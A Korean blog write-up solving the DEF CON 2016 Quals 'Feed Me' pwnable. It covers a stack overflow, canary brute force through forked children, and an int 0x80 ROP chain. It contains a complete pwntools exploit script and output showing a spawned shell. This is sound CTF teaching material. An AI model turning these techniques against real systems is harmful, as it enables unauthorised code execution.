나도 해본다, 포너블!(feat.Defcon2016 Feed Me)

By choirish | January 18, 2017

나도 해본다, 포너블! (feat. Defcon2016 Feed Me)



요새 리버싱 문제에 혹하여 포너블에 소홀했던 자신을 반성하며 포너블 문제를 하나 풀어보았습니다 후훟

오늘 풀어볼 문제는 DEF CON 2016 Quals – Feed me 입니다.




문제풀이 Key Point

분석하기에 앞서 문제를 풀기 위한 Key point를 정리해보았습니다.


KeyPoint

  1. Buffer overflow 취약점이 존재한다.
    • canary(stack-smashing-protector)가 존재한다.
  2. fork 함수를 호출한다. (800번의 제한이 있다고 할 수 있음)
    • parent의 canary가 정해지면, 하위 child의 canary는 parent의 canary와 모두 동일하다.
    • 800번 fork하는 동안 canary가 변하지 않으므로, Brute force 공격을 통해 canary를 알아낼 수 있다.
  3. Static compile된 바이너리이므로 바이너리 안에 libc가 포함되어있다.
    • 웬만하면(제작자가 컴파일 시 int 80을 일부러 빼지 않은 이상) int 80을 찾을 수 있다.
    • syscall을 이용해 read(syscall num : 3)와 execve(syscall num : 11)를 호출하고, 쉘을 딸 수 있다.
  4. NX enabled 조건이 걸려있다.
    • 스택에 쉘코드를 올려서 실행하기 어려우므로 ROP(Return Oriented Programming)를 이용한다.


간단명료하죠? ㅎㅎ 각각에 대한 세부 설명은 분석을 하면서 차근차근 보태도록 할게요~
분석에 들어가기 전에… 고백할 것이… 제가 ROP가 처음입니다 하핳ㅎㅎ
이래저래 개념이나 공격 시나리오 정도는 알고 있었는데 직접 가젯을 찾고 익스를 짜 본 적은 없달까!! ㅎㅎ
저는 ROP의 기본 개념을 보충하기 위해서 Salen의 ropasaurusrex 롸업을 참고하였답니다 훟훟

여기서 배운 ROP를 위한 팁을 다시 한 번 정리해보았어요.


Basic Tips for ROP

  1. 쓰기 가능한 메모리 공간 주소 찾기
    • objdump -x ./[파일이름]
    • .data / .bss / .dynamic section에 가능
  2. pop pop ret 가젯 찾기
    • ROP 가젯을 찾는 툴 중 rp++를 이용한다.
    • ./rp-lin-x86 -f ./[파일이름] -r 4 | grep “pop”
    • 필자는 요 링크를 통해 리눅스용 바이너리 하나만 다운로드 받아서 씀!
    • 어디서나 rp-lin-x86 명령을 쓸 수 있게 PATH 환경 변수에 포함되어 있는 /usr/local/sbin 디렉터리에, root 소유로 넣어주고! 사용했습니다 ㅎㅎ
  3. .bss 섹션에 /bin/sh 입력하기
    • read(stdin)으로 입력을 받아 /bin/sh을 .bss 섹션에 저장함


자 그럼 요로코롬 정리한 팁들을 모아모아 분석을 시작해봅시다 ㅎㅎ 요점만 정리해서 후딱 끝내도록 하지요 총총




[들어가기] 바이너리 열어보기

바이너리의 정보를 살펴보면 쁍! 간만에 보는 ELF-32bit 바이너리군요!!



peda에서 checksec으로, 바이너리에 걸린 보호기법을 알아보면 쁍! NX(Not eXecutable)만 enabled 되어있네요!!



바이너리를 직접 실행시켜보면??


$ ./feedme 
FEED ME!
 123123123123123123123123123123123123123123123
ATE 31323331323331323331323331323331...
YUM, got 32 bytes!
Child exit.
FEED ME!
...


FEED ME!!! ATE!!! YUM!!! 하고, 또 FEED ME!! 하는 녀석이네요 ㅎㅎ
그럼 앞서 정리한 문제 풀이 Key points를 기준으로 본격 분석을 시작해봅시다.




[ point 1 ] BOF??!!

ida로 열어보니 엄청나게 strip 되어있군요… 함수도 핵많음… 경악잼 함수가 엄청 많아서… 헐 뭐지? 했다가 음 이게 다 분석해야 할 함수는 아닐 거야… 했는데!
진실은… static compiled 바이너리라서 printf 같은 기본 libc 함수들도 모두 포함되어 strip되었기 때문임!


요로코롬 심하게 strip 되어있을 때는 바이너리를 실행했을 때 본 String을 검색(Shift+F12 = Strings Window)해서 찾아갑니다!


bof 취약점은 바로 요기! FeedMe! 하는 함수에서 발견할 수 있어욥!!



  1. stack에서 (canary를 덮지 않고) input을 저장할 수 있는 공간의 크기는 0x20 byte이다.

    • feedme_8049036 함수에서는 입력받을 문자열의 크기를 입력값의 가장 첫 번째 값의 아스키값으로 정한다.

    • 즉 사용자가 첫 번째 글자로 입력하는 값에 따라 0x00~0xFF 크기만큼의 값을 입력할 수 있다. (저장 공간은 0x20 byte 인데!!)

    • BOF 발생!!!!!!!

  2. 입력값의 32글자(0x20 = 32) 다음 부분에 stack canary(*MK_FP(GS, 20)가 존재!


+) 잠깐! canary를 덮기 전까지 입력할 수 있는 공간은 20byte이지만!
실제로 sfp(stack frame pointer)와 ret(return) 주소가 등장하기 전까지 사용자에게 할당된 버프의 크기는 0x2C byte 입니다! 고로 나중에 payload를 작성하실 때는, 요로코롬 쓰셔야 합니다 총총!

  • dummyA(32byte)+canary+dummyB(12byte)+(ret 위치에 넣을)가젯
    • dummyB = buffer의 나머지(8byte) + sfp(4byte)




[ point 2 ] fork???!

fork한다는 사실을 어디서 발견할 수 있느냐??! 바로 여기 Yum!!! 하는 함수에서 발견할 수 있습니다.



  1. yum_80490B0 함수는 main 함수에서 호출되는 함수입니다.
  2. fork _806CC70 함수에 들어가 보면 fork.c 뭐시기 하면서 엄청 fork 함수스러운 느낌이 폴폴!
    • fork 함수의 return 값을 v3에 저장하는데… v3가 0일 때만 다음 if문 안으로 들어가 feedme 함수를 호출할 수 있습니다.
  3. (2번 부가 설명) fork 함수의 리턴값은?!
    • parent 프로세스가 fork를 불렀을 때 : child 프로세스의 PID
    • child 프로세스가 fork를 불렀을 때 : 0
    • 참고하기 링크
  4. fork를 부르는 건 800번!! 가능함!!
  5. fork를 하기 때문에 canary를 Brute force 공격으로 알아낼 수 있는 것임!
    • fork 하지 않는다면, canary가 일치하지 않았을 때 스택스매싱나면서 아예 프로그램이 종료되었을 것임!!!


다른 분의 롸업을 보니 strace를 통해서도 fork의 존재를 확실하게! 확인할 수 있더군요! 굿굿!!

무튼 흠흠흠 요지를 정리하면…

child 프로세스가 fork 함수를 불렀을 때만, feedme를 호출할 수 있다!
그리고 fork가 있기 때문에 canary를 Brute Force로 알아낼 수 있다!는 중요한 포인트 캐치하고 가시길 바랍니다 ㅎㅎ




[ point 3 ] 바이너리 속 “int 0x80″을 찾아서!

우선 “int 0x80″이 무엇을 뜻하는지 알아보자!

  1. What is System Call ?
    • 응용 프로그램이 시스템 콜을 부르면 OS(운영체제)가 시스템 콜 넘버에 해당하는 서비스(파일 읽기 등)를 수행한다!
  2. Make a system call in 32-bit Linux
    • eax 레지스터에 시스템 콜 넘버를, ebx, ecx, edx, esi, edi, ebp 레지스터에 순서대로 필요한 인자값을 세팅한다.
    • 그러고 나서 int 0x80 instruction을 호출하여 최종적으로 시스템 콜을 부르는 것!!
    • 참고 자료 링크
  3. System call list of 32-bit Linux


그렇다면??? 저는 sys_read 시스템 콜을 통해 “/bin/sh”을 stdin으로 읽어주고, 그 값을 sys_execve 시스템 콜에 전달하는 시나리오를 세웠습니다!

각각의 시스템 콜을 호출할 때는 마지막 부분에 “int 0x80″을 꼭 불러줘야 한다는 것★★★!!!

이따가 익스 짤 때 가젯은 한꺼번에 찾아 보여드리려 했으나! int 0x80 먼저 스포해드립져!!

요로코롬 rp++에 명령어를 쳐주면? 쁍!! rp++!!
(저는 rp-lin-x86 이라는 바이너리 통째로 받았으므로 명령어가 rp-lin-x86!!)

rp-lin-x86 -f ./feedme -r 4 | grep "int 0x80 ; ret"



int 0x80과 ret이 함께 있는 0x0806fa20 요녀석을 써주면 되겠습니다~




[ 본격 익스 ] Canary Brute Force!! & ROP!!

문제를 풀기 위한 바이너리 분석과 기본 개념 다지기는 어느 정도 마무리하였으니!! 그걸 바탕으로 요 두 가지만 완성하면 끝끝!입니다


  • Canary값 알아내기 익스!
  • ROP 가젯 모아 익스!


+) 추가로!! 이번에는 pwntools 한번 적절히 활용해 보기로 했어요!
pwntools에서 제가 참고한 함수들에 대한 정보를 하나씩 모두 링크 걸어드릴 테니! 참고하시길!!


Reference


저는 특히 요기서 패킹!이랑 소켓!연결이 간단하고 넘나 좋더라구요! 앞으로도 애용할듯합니다 ㅎㅎ 하지만 pwntools는 64bit 환경에서 더욱 많은 기능을 실현한다고 하니!!!!! 이 점 참고하시길 ㅎㅎ


그러면! canary bruteforce 하는 거는 파이썬 코드로 슉슉 짜면 그리 어렵지 않으니… 설명 생략하고…ㅎ 이따 익스에서 바로 보여드리겠슴돠 (혹시 이런게 처음이라 하시는 분은 나도 해본다, 타이밍어택편을 참고하시길! 한 바이트씩 brute force하는 방식이 비슷하답니다!!)


그럼 최종 익스를 공개하기 전에 가젯부터 찾아볼까요!!

제가 익스코드에서 바이너리에게 부탁하고 싶은 일은 다음 두 가지입니다!!

read( 0, buf, size )
execve( “/bin/sh”, null, null )


아까 시스템 콜 설명에서 말씀드렸듯이 read와 execve를 시스템 콜로 부를 예정이고, (콜 넘버를 eax에!)

그에 대한 인자값은 ebx, ecx, edx에 차례로 넣을 겁니다!

그!러!므!로! 우리에게 필요한 가젯을 찾아보면??!


1. eax : rp-lin-x86 -f ./feedme -r 4 | grep “pop eax ; ret”

0x080bb496: pop eax ; ret  ;  (1 found)
0x080e243d: pop eax ; ret  ;  (1 found)
0x080e433a: pop eax ; ret  ;  (1 found)
0x080e6a5c: pop eax ; ret  ;  (1 found)


2. edx ecx ebx : rp-lin-x86 -f ./feedme -r 4 | grep “pop edx”

0x0806f370: pop edx ; pop ecx ; pop ebx ; ret  ;  (1 found)


3. int 0x80 : rp-lin-x86 -f ./feedme -r 4 | grep “int 0x80 ; ret”

0x0806fa20: int 0x80 ; ret  ;  (1 found)
.bss 영역 주소 : objdump -x ./feedme
Idx Name          Size      VMA       LMA       File off  Algn
22 .data          00000f20  080ea060  080ea060  000a1060  2**5
              CONTENTS, ALLOC, LOAD, DATA
23 .bss           0000180c  080eaf80  080eaf80  000a1f80  2**5
              ALLOC

(요거는 미리 구해두긴 했었는데… ㅎㅎ 익스에서는 pwntools의 pwnlib.elf 클래스에서 bss( )를 활용!했음)


짜라잔! 가젯에 대한 정보는 상세히 또 익스에 주석으로 달아놨으니 참고참고! 하시길!! 그럼 스피디하게 익스 기기!!


iwillfeedyou.py

from pwn import *
import binascii

s = remote('0.0.0.0',7777)
e= ELF('/home/nyoung/achallenges/feedmeee/feedme')

s.recvuntil('FEED ME!\n')
canary = ""
for i in range(0,4):
    for j in range(0x00,0xff):
        msglen = binascii.unhexlify(hex(32+len(canary)+1)[2:])

        trybyte = chr(j)

        s.send(msglen + "A"*32 + canary + trybyte)
        data = s.recvuntil('FEED ME!\n')

        if "YUM" in data:
            print data
            canary += trybyte
            log.info("Found : "+hex(j)+", Canary : "+repr(canary))
            # print "canary len : ",len(canary)
            break


# my gadgets
peax = 0x080e6a5c # pop eax ; ret ;
pedcbx = 0x0806f370 # pop edx ; pop ecx ; pop ebx ; ret ;
int0x80 = 0x0806fa20 # int 0x80 ; ret ;

payload = "A"*32
payload += canary
payload += "B"*12

payload += p32(peax) # pop eax 
payload += p32(0x3) # number of systemcall sys_read

payload += p32(pedcbx) # pop edx/ecx/ebx
payload += p32(0x8) # size of stdin
payload += p32(e.bss()) # buf for stdin
payload += p32(0) # fd of stdin
payload += p32(int0x80) # invoke system calls in Linux on x86

payload += p32(peax) # pop eax 
payload += p32(0xb) # number of systemcall sys_execve

payload += p32(pedcbx) # pop edx/ecx/ebx
payload += p32(0) # third argument of execve : NULL
payload += p32(0) # second argument of execve : NULL
payload += p32(e.bss()) # first argument of execve : buf 
payload += p32(int0x80) # invoke system calls

s.send(chr(len(payload)))
s.send(payload)
s.send("/bin/sh\x00")
s.interactive()


socat tcp-listen:7777,reuseaddr,fork exec:./feedme

요로코롬 셀프로 소켓 열어놓고 나서(소켓 연 위치에 flag 파일도 생성해 둘 것!), 위 익스로 공격하면 뙇!!



쉘이 뜨고 flag를 읽었어욤 후후! pwntools 썼더니, 색깔도 넣어주고 쉘뜨는 표시도 간지나게 해주고 굳굳이네염 ㅎㅎ (가젯 일부러 이상한 거 넣어두고 진짜 그럼 쉘 안 뜨나 실험해봤는데 pwntools의 interactive() 때문에… 쉘 뜬 거 아닌데도 무조건 $ 뜨는 바람에 첨에 넘나 당황했다는… ㅋㅋ)


익스 실행 결과를 모두 가져오면?? 요렇습니다 쁍!


[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Opening connection to 0.0.0.0 on port 7777: Done
[*] '/home/nyoung/achallenges/feedmeee/feedme'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
ATE 41414141414141414141414141414141...
YUM, got 33 bytes!
Child exit.
FEED ME!

[*] Found : 0x0, Canary : '\x00'
ATE 41414141414141414141414141414141...
YUM, got 34 bytes!
Child exit.
FEED ME!

[*] Found : 0x58, Canary : '\x00X'
ATE 41414141414141414141414141414141...
YUM, got 35 bytes!
Child exit.
FEED ME!

[*] Found : 0x4e, Canary : '\x00XN'
ATE 41414141414141414141414141414141...
YUM, got 36 bytes!
Child exit.
FEED ME!

[*] Found : 0x9c, Canary : '\x00XN\x9c'
[*] Switching to interactive mode
ATE 41414141414141414141414141414141...
$ cat flag
The flag is: It's too bad! we c0uldn't??! d0 the R0P CHAIN BLIND TOO
$  


끄읕! 끄읕!
오늘도 수고했어요!

comments powered by Disqus